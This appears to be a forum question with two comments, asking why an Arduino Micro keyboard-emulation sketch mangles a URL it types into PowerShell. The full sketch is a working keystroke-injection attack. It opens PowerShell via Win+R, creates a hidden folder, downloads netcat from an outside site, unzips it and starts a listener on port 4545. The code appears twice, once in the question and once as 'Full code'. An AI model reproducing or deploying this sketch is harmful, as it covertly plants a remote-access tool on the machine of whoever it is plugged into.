I'm trying to print a sequence of power shell commands including a url to the powershell interpreter but every time I execute it with the Arduino Micro it adds random values to the url. Here's the normal print statement.
Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
typeKey(KEY_RETURN);
I'm passing this link https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
to a variable called $url
and here is the actual output when the command executes
cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip"); foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)
notice how the $url now has random values in them?
https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip
Also If you try copying and pasting the url I posted above on a browser, the url doesn't work. But if you go to https://eternallybored.org/misc/netcat/
and copy link location of netcat 1.11
which is the same url and paste it. The url works...
I don't understand why this is happening any thoughts?
Full code
void typeKey(int key) {
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
/* Init function */
void setup() {
//Beging Keyboard Stream
Keyboard.begin();
delay(500);
Keyboard.press(KEY_LEFT_GUI);
delay(4000);
Keyboard.press('r');
delay(4000);
Keyboard.releaseAll();
delay(1000);
Keyboard.print("powershell");
typeKey(KEY_RETURN);
delay(1000);
Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
typeKey(KEY_RETURN);
Keyboard.end();
}
void loop() {
}
https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
in a browser works? – Code Gorilla Dec 22 '16 at 10:28https://eternallybored.org/misc/netcat
and copy link from netcat-1.11 the link ishttps://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
and it works if I copy link and paste but if I don't copy link and just paste that link on the browser it does not work. – Katz Dec 22 '16 at 19:13